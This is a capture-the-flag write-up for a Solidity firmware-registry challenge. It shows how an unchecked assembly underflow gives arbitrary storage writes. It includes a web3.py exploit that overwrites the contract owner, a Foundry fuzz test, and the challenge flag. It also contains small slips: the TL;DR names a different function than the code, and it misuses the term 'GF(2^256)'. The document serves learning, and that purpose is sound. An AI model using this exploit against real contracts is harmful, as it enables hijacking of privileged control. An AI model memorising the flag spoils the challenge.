ESPILON-CTF-2026-Writeups/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md

5.7 KiB

TACHIBANA_FIRMWARE_REGISTRY

Field Value
Category Web3
Difficulty Insane
Points 500
Author Eun0us
CTF Espilon 2026

Description

Tachibana Laboratories deployed a smart contract to manage firmware updates for their medical IoT devices connected to the Wired.

The contract enforces a strict lifecycle: register, update, rollback. Every operation is immutable. Every state transition is audited.

Or so they thought.

Your mission: Fuzz the contract. Find the edge case. Trigger the emergency override as a non-admin to prove the system is broken.

  • nc espilon.net 1337 — Challenge console
  • http://espilon.net:8545 — Anvil RPC endpoint

The source is provided. Deploy locally. Fuzz with Foundry or Echidna. Replay your exploit on the live instance.

"And you don't seem to understand... a shame, you seemed an honest man."


TL;DR

The _trimStaleEntries() function uses raw inline assembly to decrement firmwareHashes.length. When the array is empty (length=0), sub(0, 1) wraps to 2^256-1 in unchecked assembly even in Solidity ≥0.8. This gives modifyFirmware() write access to all 2^256 storage slots. Compute the slot index that maps to storage slot 0 (the owner variable). Overwrite it with your address. Call triggerEmergency() as the new owner to get the flag.


Tools

Tool Purpose
Foundry (forge fuzz) or Echidna Find invariant violation
Python 3 + web3.py Storage index computation and exploit
forge create / cast send On-chain exploit replay

Solution

Step 1 — Understand the vulnerability

From the provided source, the relevant code is:

function auditFirmware() external {
    assembly {
        let slot := firmwareHashes.slot
        let len := sload(slot)
        sstore(slot, sub(len, 1))   // unchecked sub! 0 - 1 = 2^256 - 1
    }
}

When firmwareHashes.length == 0, calling auditFirmware() sets the length to 2^256-1.

This makes modifyFirmware(index, value) able to write to any storage slot via the dynamic array element storage formula.

📸 [screenshot: assembly code showing the unchecked sub(len, 1) line]

Step 2 — Fuzz to discover the invariant violation

Using Foundry fuzz tests:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {TachibanaFirmwareRegistry} from "../src/TachibanaFirmwareRegistry.sol";

contract FirmwareRegistryFuzz is Test {
    TachibanaFirmwareRegistry registry;
    address deployer = address(0xDEAD);
    address player   = address(0xBEEF);

    function setUp() public {
        vm.prank(deployer);
        registry = new TachibanaFirmwareRegistry();
        vm.prank(player);
        registry.registerOperator();
    }

    // Invariant: only the deployer should ever be owner
    function invariant_ownerIsDeployer() public view {
        assertEq(registry.owner(), deployer);
    }
}

Running forge test --fuzz-runs 1000 triggers the invariant failure on the auditFirmware() + modifyFirmware(target_index, player_bytes32) sequence.

📸 [screenshot: forge fuzz output showing invariant_ownerIsDeployer failure]

Step 3 — Compute the target storage index

Solidity dynamic arrays store element i at keccak256(abi.encode(slot)) + i. firmwareHashes is at storage slot 2.

To write to slot 0 (the owner variable):

from web3 import Web3

# Storage base for firmwareHashes (slot 2)
array_base = int.from_bytes(
    Web3.keccak(b'\x00' * 31 + b'\x02'), "big")

# Compute wraparound index so that: array_base + target_index ≡ 0 (mod 2^256)
target_index = (2**256 - array_base) % 2**256
print(f"Target index: {target_index}")

Step 4 — Execute the exploit on-chain

from web3 import Web3

w3   = Web3(Web3.HTTPProvider("http://<HOST>:8545"))
priv = "<PLAYER_PRIVATE_KEY>"
acct = w3.eth.account.from_key(priv)

contract_addr = "<CONTRACT_ADDRESS>"
# Load ABI from console 'abi' command

# 1. Register as operator
registry = w3.eth.contract(address=contract_addr, abi=abi)
tx = registry.functions.registerOperator().build_transaction({...})
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)

# 2. Trigger the underflow (array must be empty)
tx = registry.functions.auditFirmware().build_transaction({...})
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)

# 3. Overwrite owner (slot 0) with player address
player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(acct.address[2:])
tx = registry.functions.modifyFirmware(
    target_index, player_as_bytes32).build_transaction({...})
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)

# 4. Trigger emergency as new owner
tx = registry.functions.triggerEmergency().build_transaction({...})
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)

📸 [screenshot: Python exploit script completing all four transactions]

Step 5 — Get the flag

nc <host> 1337
check

📸 [screenshot: console printing the flag after triggerEmergency succeeds]

Key concepts

  • EVM assembly unchecked arithmetic: sub(0, 1) wraps to 2^256-1 inside assembly {} blocks even in Solidity ≥0.8, bypassing the checked arithmetic safety net
  • Dynamic array storage layout: Elements stored at keccak256(abi.encode(slot)) + index; with a 2^256-1 length, modular wraparound enables arbitrary storage writes
  • Fuzzing invariants: Declaring invariant_ownerIsDeployer in Foundry would have caught this immediately — the lesson for secure contract development
  • Storage slot arithmetic: Wraparound index computation requires modular arithmetic over the field GF(2^256)

Flag

ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}